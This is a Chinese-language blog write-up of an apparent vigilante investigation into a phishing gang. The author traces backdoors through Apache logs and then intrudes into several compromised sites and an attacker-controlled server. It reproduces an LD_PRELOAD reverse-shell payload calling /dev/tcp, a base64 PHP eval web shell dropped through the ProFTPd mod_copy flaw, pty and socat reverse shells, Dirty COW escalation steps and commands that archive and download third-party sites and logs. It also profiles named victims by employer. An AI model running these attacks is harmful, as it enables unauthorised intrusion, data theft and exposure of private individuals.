-rw-r----- 1 48 6313 367K 11月 23 08:08 rosturplast.com.access.log-20181123
-rw-r----- 1 48 6313 332K 11月 24 08:20 rosturplast.com.access.log-20181124
-rw-r----- 1 48 6313 394K 11月 25 08:30 rosturplast.com.access.log-20181125
-rw-r----- 1 48 6313 217K 11月 26 08:27 rosturplast.com.access.log-20181126
-rw-r----- 1 48 6313 338K 11月 27 08:07 rosturplast.com.access.log-20181127
-rw-r----- 1 48 6313 1.8M 11月 28 08:35 rosturplast.com.access.log-20181128
-rw-r----- 1 48 6313 2.3M 11月 29 08:38 rosturplast.com.access.log-20181129
-rw-r----- 1 48 6313 6.4M 11月 30 08:38 rosturplast.com.access.log-20181130
-rw-rw---- 1 48 6313 267K 11月 30 16:00 rosturplast.com.error.log
-rw-rw---- 1 48 6313 3.8K 11月 21 03:44 rosturplast.com.error.log-20181121
-rw-rw---- 1 48 6313 1.9K 11月 21 14:43 rosturplast.com.error.log-20181122
-rw-rw---- 1 48 6313 1.9K 11月 23 02:30 rosturplast.com.error.log-20181123
-rw-rw---- 1 48 6313 5.0K 11月 24 01:46 rosturplast.com.error.log-20181124
-rw-rw---- 1 48 6313 8.3K 11月 25 02:07 rosturplast.com.error.log-20181125
-rw-rw---- 1 48 6313 2.3K 11月 26 05:05 rosturplast.com.error.log-20181126
-rw-rw---- 1 48 6313 4.1K 11月 27 05:34 rosturplast.com.error.log-20181127
-rw-rw---- 1 48 6313 550K 11月 28 08:35 rosturplast.com.error.log-20181128
-rw-rw---- 1 48 6313 6.5M 11月 29 07:51 rosturplast.com.error.log-20181129
-rw-rw---- 1 48 6313 1.4M 11月 30 08:38 rosturplast.com.error.log-20181130
用D盾扫网站文件，发现这个网站已成跑马场。 
**攻击者在shells/目录下放置钓鱼文件和PHP后门。**
**查看哪些IP访问了后门并统计次数**
**查询攻击者IP地址**
? root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
26 174.85.145.99
20 50.73.252.169
10 213.233.104.120
2 207.228.149.69
2 195.211.23.207
2 129.205.113.8
? root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 174.85.145.99 来自: 美国
IP: 50.73.252.169 来自: 美国
IP: 213.233.104.120 来自: 罗马尼亚
IP: 207.228.149.69 来自: 百慕大
IP: 195.211.23.207 来自: 俄罗斯
IP: 129.205.113.8 来自: 尼日利亚
**根据后门文件名，匹配Apache访问日志得到攻击者的代理IP和User Agent**
? root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
**通过日志匹配邮箱并去重得到受害者邮箱地址**
egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
? root@kali /tmp egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
[email protected] //攻击者邮箱
[email protected] //利比亚发展投行CFO
[email protected] //域名失效
[email protected] //新加坡IT基础设施提供商员工
[email protected] //美国SS&C Technologies, Inc. （印度分公司）
[email protected] //攻击者邮箱
******@******.com //同事
[email protected] //马来西亚联昌国际银行员工
[email protected] //新加坡立信会计师事务所员工
[email protected] //未知
[email protected] //深圳市很有蜂格网络科技有限公司CEO
[email protected] //美国SS&C Technologies, Inc.
[email protected] //美国SS&C Technologies, Inc.（疑似顺为资本）
[email protected] //无效
### 3.5 受害者身份识别
通过搜索引擎对这15个受害者邮箱进行身份识别。
#### 3.5.1 [email protected] / [email protected]
> > [email protected]：攻击者欺诈账户，曾被举报过，在这里攻击者用来作钓鱼测试。
> [email protected]：通过钓鱼程序配置文件获得。
> `./logon.secureaccess/mail.php:$mail="[email protected]";`
>>
>> 来源：http://www.payer.org/test/
>>
>> 来源：https://avoidaclaim.com/2018/debt-collection-fraud-using-the-name-yeung-alexander-luk/
#### 3.5.2 [email protected]
> > Mrs. Clavenda O. PAYMAN 利比亚发展投行（Liberian Bank forDevelopment and
> nvestment）首席财务官
>>
>> 来源：https://www.adfi-ci.org/downloads/telecharger.php?Fichier_a_telecharger=files/aadfi_doc_en_20130623170205.pdf&chemin=&id=91
#### 3.5.3 [email protected]
> > 疑似新加坡 Nera Telecommunications Ltd（IT基础设施提供商）公司员工
>>
>> 来源：http://www.nera.net/about-us.html
#### 3.5.4 [email protected]
> > 美国SS&C Technologies, Inc. & 印度金融服务公司 Globeop Financial Services
> Technologies (India) Private Limited
>>
>> 来源：https://www.instafinancials.com/company/globeop-financial-services-india-private-limited/U67100MH2003PTC141044
>>
>> 来源：
http://www.seepz.gov.in/writereaddatafolder/Regional%20Governing%20Council%20of%20EPCES%20for%202016-18.pdf
#### 3.5.5 [email protected]
> > 马来西亚联昌国际银行员工（CIMB Group）
>>
>> 来源：https://www.cimb.com/en/who-we-are.html
#### 3.5.6 [email protected]
> > KOH CHIN BENG 新加坡立信会计师事务所员工
>>
>> 来源：https://www.bdo.com.sg/en-gb/our-people/koh-chin-beng
#### 3.5.7 [email protected]
> > 深圳市很有蜂格网络科技有限公司 CEO
> 来源：https://m.zhipin.com/job_detail/1407383492.html
> 来源：https://www.tianyancha.com/company/2349004659
>
>
## 四、渗透邮件发送网站
> 目标：mirohaviar.sk ，这是一个博客网站
### **4.1 漏洞扫描**
服务器信息如下:
> [+] HOST: mirohaviar.sk（85.248.229.150 斯洛伐克）
> [+] OS: Debian 7
> [+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16
> [+] CMS: Joomla 1.5
>
CMS漏洞扫描得到图示的漏洞信息，经过测试全部无法利用，其他端口也没有发现可以利用的的漏洞，看来攻击者也是一个勤奋的同学，入侵成功后做了相应的修复和加固，看起来毫无办法，好像只能旁站或者C段渗透了。
然而有人的地方就有江湖，有黑客入侵过的网站一定有后门。这类利用通用漏洞批量入侵的黑客团伙，后门文件一般都有特征，我根据前一个网站获得的php后门文件名列表，批量访问当前网站得到了三个相同的后门文件。
? root@kali /tmp/rosturplast.com/webroot/shells md5sum *
724e7316427151ea1f449f38a28f642c 406.php
3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaa
aaf775b99997c166ff45677806d809de an.php
e5c06f1f66781ba5c39d909096c4cd47 a.txt
f71ad06982064b125d155b6f601198b8 bacu.php
f2d7553b97d8e0a0258e48c3ca42a7d2 baer.php
c01a0691c484a8d00977a100d8706b50 cfg.php
e5c06f1f66781ba5c39d909096c4cd47 config.php
md5sum: logon.secureaccess: 是一个目录
983ba05973b84e33e76916ca0dabedec new2bug.txt
1c014f955a67974dc779100c13162f1a priv8.php
2a73dda7ebb3b8d1c0d094b79623e9ff setup.php
80b5dadd0a9856f1e6d950843140d24e switch-security.php
48f50fb676028e0ae82f3f2db4e26247 unzipper.php
51f0bba7ec30b8778dca19ead016a58f webapp365.zip
58d1d66c0be0739319156702522b1b52 wso.php
**相同文件名如下：**
http://www.mirohaviar.sk/config.php
http://www.mirohaviar.sk/an.php
http://www.mirohaviar.sk/bacu.php Pro Mailer V2
其中 `http://www.mirohaviar.sk/config.php` 是攻击者的加密WebShell，理论上只需解密获得密码就能登录这个后门。
### **4.2 解密WebShell**
解密过程如下
awk -F "\"" '{print $2}' config.php
//去除头尾多余字符，得到base64密文。
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\'
//第一次base64解码，得到16进制密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p
//第二次hex解码，得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}'
//第三次base64解码，得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}'
//第四次base64解码，得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i
//第五次base64解码，得到明文
得到后门密码hash（MD5），解密后得到明文: root （饶了个大弯原来是个弱口令，下次遇到这类先跑一下密码）
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
这个后门有点皮，做了UserAgent判断，我浏览器默认设置的UA是Googlebot，访问显示404，这是反搜索引擎爬虫的惯用手段，所以我换了个正常浏览器的UA访问得到正常页面。
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
### **4.3 提权**
通过webshell得到了具体系统信息，下一步尝试提权，目的是获得Apache的web访问日志。
#### **4.3.1 突破disable_functions**
测试发现目标限制跨目录（open_basedir），并禁用了命令执行函数，导致WebShell权限下，无法跨目录访问也无法执行命令。
disable_functions： escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec
open_basedir： /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/
突破的手段很多，这里我利用LD_PRELOAD动态链接来劫持php的mail函数突破disable_functions执行系统命令。
查看sendmail函数在执行过程中动态调用哪些标准库函数。
www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 420 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)
......
76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3)
77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)
从中选取geteuid函数进行测试，编写动态链接程序bypass.c
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload() {
system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
}
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时，尝试加载payload()函数，执行命令调用system执行一个反弹shell的操作（xxx.xxx.xxx.xxx即是我的公网服务器IP）
**编译**
gcc -c -fPIC bypass.c -o bypass
gcc -shared bypass.c -o bypass.so
**上传**
www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.so
www-data@m7web1:/tmp$ file bypass.so
file bypass.so
bypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)
**执行**
bypass.php
<?php
putenv("LD_PRELOAD=/tmp/bypass.so");
mail("test@localhost","","","","");
?>
浏览器访问`http://www.mirohaviar.sk/bypass.php`页面后成功执行命令，得到了一个www-user权限的反弹shell。
#### **4.3.2 发现行踪**
仔细看这是一家斯洛伐克的网络公司，这台服务器上面托管了五百多个网站，当前的权限可以访问这些网站的文件和数据库，令人遗憾的的是apache日志目录`/var/log/apache2/`无权限访问。
不过我在`/tmp`目录下面发现了一个有趣的日志文件。
[/tmp/]$cat w
--2018-11-26 04:49:06-- http://187.85.134.4/cacat/mm.tgz
Connecting to 187.85.134.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 769309 (751K) [application/x-gzip]
Saving to: 'mm.tgz'
0K .......... .......... .......... .......... .......... 6% 174K 4s
50K .......... .......... .......... .......... .......... 13% 176K 4s
100K .......... .......... .......... .......... .......... 19% 14.1M 2s
150K .......... .......... .......... .......... .......... 26% 353K 2s
200K .......... .......... .......... .......... .......... 33% 353K 2s
250K .......... .......... .......... .......... .......... 39% 19.8M 1s
300K .......... .......... .......... .......... .......... 46% 355K 1s
350K .......... .......... .......... .......... .......... 53% 28.7M 1s
400K .......... .......... .......... .......... .......... 59% 23.6M 1s
450K .......... .......... .......... .......... .......... 66% 344K 1s
500K .......... .......... .......... .......... .......... 73% 18.0M 0s
550K .......... .......... .......... .......... .......... 79% 360K 0s
600K .......... .......... .......... .......... .......... 86% 20.4M 0s
650K .......... .......... .......... .......... .......... 93% 20.2M 0s
700K .......... .......... .......... .......... .......... 99% 12.7M 0s
750K . 100% 2438G=1.3s
2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]
### **4.4 追踪**
根据泄露日志，使用谷歌搜索关键字：`http://187.85.134.4`，发现了一个历史页面。 
这是一个已经被删除的后门页面，刚好被谷歌爬虫收录了，进一步搜索一下这个后门参数的关键字：
`inurl:bc.php?filesrc=`，得到了多条后门记录。 
其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合，疑似自动化攻击留下的日志，WebShell底部署名：`Muslim
Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber` ，表明后门均为这个黑客组织所有。
**进一步搜索这个黑客组织名称，发现大量被黑网站，程序使用Wordpress与Joomla居多。**
### **4.5 提取日志**
我提取了其中几个被入侵网站的访问日志。
#### **4.5.1 网站：www.radiolanalhue.cl**
打包
tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz
--exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz /home/radiolanalhue/public_html/
tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz /home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz /home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl
下载
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gz
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz
分析
根据后门文件名，匹配Apache访问日志，到攻击者代理IP和User Agent。
? ? root@kali /tmp/radiolanalhue.cl/log/ grep "/beez5/" radiolanalhue.cl-Dec-2018
疑似攻击者代理IP：
212.1.211.3 （美国） - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
谷歌爬虫：
66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
#### **4.5.2 网站：zebramedia.al**
打包
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz /home/vayqpdvg/zebramedia.al/
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs
下载
wget http://zebramedia.al/zebramedia.al-log.tar.gz
wget http://zebramedia.al/zebramedia.al-www.tar.gz
-rw-r--r-- 1 1365 1328 478714 11月 30 21:15 evropakrijuese.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 6463 11月 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 1855430 6月 30 2018 ftp.publik.live-ftp_log-Jun-2018.gz
-rw-r--r-- 1 1365 1328 7899 11月 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 22883767 11月 30 21:15 ief.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 67526 11月 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 68187 11月 30 21:15 instadyqan.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 34530 11月 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 35748 11月 30 21:15 pigmentnews.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 7709 11月 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 129055 11月 30 21:15 publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 14487 11月 30 21:15 publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 88292 11月 30 21:15 zebramedia.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 139759 11月 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 6047261 11月 30 21:15 zeri-popullit.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 52004 11月 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz
分析
根据后门文件名，匹配Apache访问日志，到攻击者代理IP和User Agent。
? root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq
148 197.211.61.82 (尼日利亚)
8 178.128.221.199 （希腊）
? root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
#### **4.5.2 网站：helioncomposites.com**
打包
日志路径:
/home2/helionco/access-logs/helioncomposites.com/
日志备份:
ls /home2/helionco/logs/
ftp.helioncomposites.com-ftp_log-Feb-2018.gz
helioncomposites.com-Dec-2018.gz
helioncomposites.com-Nov-2018.gz
helioncomposites.com-ssl_log-Dec-2018.gz
helioncomposites.com-ssl_log-Nov-2018.gz
tar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz /home2/helionco/www/
tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/
下载
wget http://helioncomposites.com/helioncomposites.com-log.tar.gz
wget http://helioncomposites.com/helioncomposites.com-www.tar.gz
分析
根据后门文件名，匹配Apache访问日志，到攻击者代理IP和User Agent。
? root@kali /tmp grep ".php" * |grep "/home2/helionco/public_html/" |grep "HTTP\/1.1\" 200" |awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
1137 198.143.51.17
588 198.143.38.3
478 198.143.41.14
246 198.143.32.13
131 198.143.32.3
103 198.143.57.3
86 198.143.57.73
84 198.143.57.5
46 198.143.32.10
32 198.143.37.15
......
? root@kali /tmp for line in $(</ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 198.143.51.17 来自: 以色列 Incapsula
IP: 198.143.38.3 来自: 美国 Incapsula
IP: 198.143.41.14 来自: 美国 Incapsula
IP: 198.143.32.13 来自: 美国 Incapsula
IP: 198.143.32.3 来自: 美国 Incapsula
IP: 198.143.57.3 来自: 美国 Incapsula
IP: 198.143.57.73 来自: 美国 Incapsula
IP: 198.143.57.5 来自: 美国 Incapsula
IP: 198.143.32.10 来自: 美国 Incapsula
......
这个网站由于日志不全，提取出的IP大都是爬虫IP，所以不纳入最终的汇总。
#### **4.5.3 发现钓鱼程序**
网站 `zebramedia.al` 上发现多个攻击者放置的钓鱼程序和模板。
**针对Dropbox** 
**针对Gmail** 
### **4.6 关联分析**
使用之前得到的后门文件中的关键字（`config.php`）对这3个网站文件进行匹配，发现其中2个存在相同后门文件，并且文件MD5值相同。
? root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}'
./rosturplast.com/www/rosturplast.com/shells/config.php
./mirohaviar.sk/www/config.php
./zebramedia.al/www/zebramedia.al/config.php
./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
后门文件MD5
? root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sum
e5c06f1f66781ba5c39d909096c4cd47 ./rosturplast.com/www/rosturplast.com/shells/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./mirohaviar.sk/www/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./zebramedia.al/www/zebramedia.al/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
## 五、渗透攻击者肉鸡服务器
### **5.1 漏洞扫描**
**目标：187.85.134.4**
[+] HOST: 187.85.134.4（巴西）
[+] OS: Ubuntu
[+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19
[+] CMS: 未知
nmap --script=firewalk --traceroute 187.85.134.4
### **5.２ 漏洞利用**
端口扫描发现目标 FTP Server为`ProFTPd
1.3.4a`，这个版本和`1.3.5`存在未授权文件复制漏洞，我们可以通过这个漏洞往Web目录写入一个WebShell。
ProFTPd 1.3.5 Remote Command Execution（CVE-2015-3306）
ProFTPD中使用的mod_copy模块存在未授权访问风险，导致ProFTPD自带的命令 SITE CPFR 和 SITE CPTO可在未登录ftp的情况被外部黑客所利用，对系统文件进行任意复制。
### **5.２ 获取权限**
使用用MSF执行
得到一个cmd功能的WebShell 
写入中国菜刀客户端
http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -d >/var/www/index2.php
### **5.3 文件分析**
**在Web目录下面发现用于发送钓鱼邮件的perl脚本、邮件钓鱼样本和大量的邮箱地址。以及挖矿后门、DDOS脚本等。**
#### **5.3.1 钓鱼模板**
图示是针对丹麦丹斯克银行（Danske Bank）和希腊阿尔法银行（Alpha Bank）的邮件钓鱼样本。
#### **5.3.2 僵尸网络程序**
#### **5.3.3 DDOS脚本**
#### **5.3.4 邮箱地址**
> 统计目录下的 txt 文本数量，发现共有六十二万四千个邮箱地址。
? root@kali /tmp/187.85.134.4/www/cat wc -l *.txt
624000 总用量
主流邮箱检索
? root@kali /tmp/187.85.134.4/www/cacat grep "@gmail.com" *.txt |head -n 20
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000001.txt:[email protected]
? root@kali /tmp/187.85.134.4/www/cat grep "@outlook.com" *.txt |head -n 20
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000002.txt:[email protected]
a0000003.txt:[email protected]
a0000003.txt:[email protected]
a0000004.txt:[email protected]
a0000006.txt:[email protected]
a0000008.txt:[email protected]
a0000008.txt:[email protected]
a0000010.txt:[email protected]
a0000015.txt:[email protected]
a0000015.txt:[email protected]
a0000016.txt:[email protected]
a0000018.txt:[email protected]
a0000020.txt:[email protected]
a0000020.txt:[email protected]
a0000020.txt:[email protected]
a0000021.txt:[email protected]
a0000022.txt:[email protected]
a0000023.txt:[email protected]
? root@kali /tmp/187.85.134.4/www/cat grep "@163.com" *.txt |head -n 20
a0000001.txt:[email protected]
a0000001.txt:[email protected]
a0000059.txt:[email protected]
a0000061.txt:[email protected]
a0000075.txt:[email protected]
a0000121.txt:[email protected]
a0000129.txt:[email protected]
a0000134.txt:[email protected]
a0000157.txt:[email protected]
a0000162.txt:[email protected]
a0000209.txt:[email protected]
a0000213.txt:[email protected]
a0000221.txt:[email protected]
a0000227.txt:[email protected]
a0000259.txt:[email protected]
a0000311.txt:[email protected]
### **5.4 提权**
#### **5.4.1 CVE-2013-2094，CVE-2013-1763提权**
查看apache日志目录，发现没有权限。
[/var/www/]$ls -al /var/log/apache2/
ls: cannot open directory /var/log/apache2/: Permission denied
内核版本为`3.5.0-23`，尝试提权。
[/var/www/]$cat /etc/issue
Ubuntu 12.04.2 LTS \n \l
[/var/www/]$uname -an
Linux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013 GNU/Linux
WebShell反弹：
[/var/www/]$cd /var/tmp;./pty xxx.xxx.xxx.xxx 443
外网VPS监听：
socat file:`tty`,echo=0,raw tcp-listen:443
实际测试`CVE-2013-2094，CVE-2013-1763`均无法提权。
CVE-2013-2094
Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu
12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)
CVE-2013-1763
Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation
#### **5.4.2 脏牛提权**
**祭出大杀器CVE-2016-5195（脏牛） ， 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。**
> 在本地环境提权测试过程中发现，i386架构下使用cowroot提权时EXP会破坏源文件，导致提权失败。而使用dirtycow-> mem仅修改内存则没有问题，但是存在内核崩溃的风险。这两个EXP都是利用/proc/self/mem提权，前一个修改文件，后一个修改内存。
如图所示： 
使用dirtycow-mem.c提权时需要注意：i386架构下编译前需要将源代码中libc路径修改为目标系统libc路径，否则执行时找不到文件。
#define SHELLCODE "\x31\xc0\xc3"
#define SPACE_SIZE 256
#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" ## 改为 /lib/i386-linux-gnu/libc.so.6
#define LOOP 0x1000000
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
**Give me root :），提权成功。**
www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread
www-data@medidor2:/tmp$ ls
hello
www-data@medidor2:/tmp$ chmod +x hello
www-data@medidor2:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
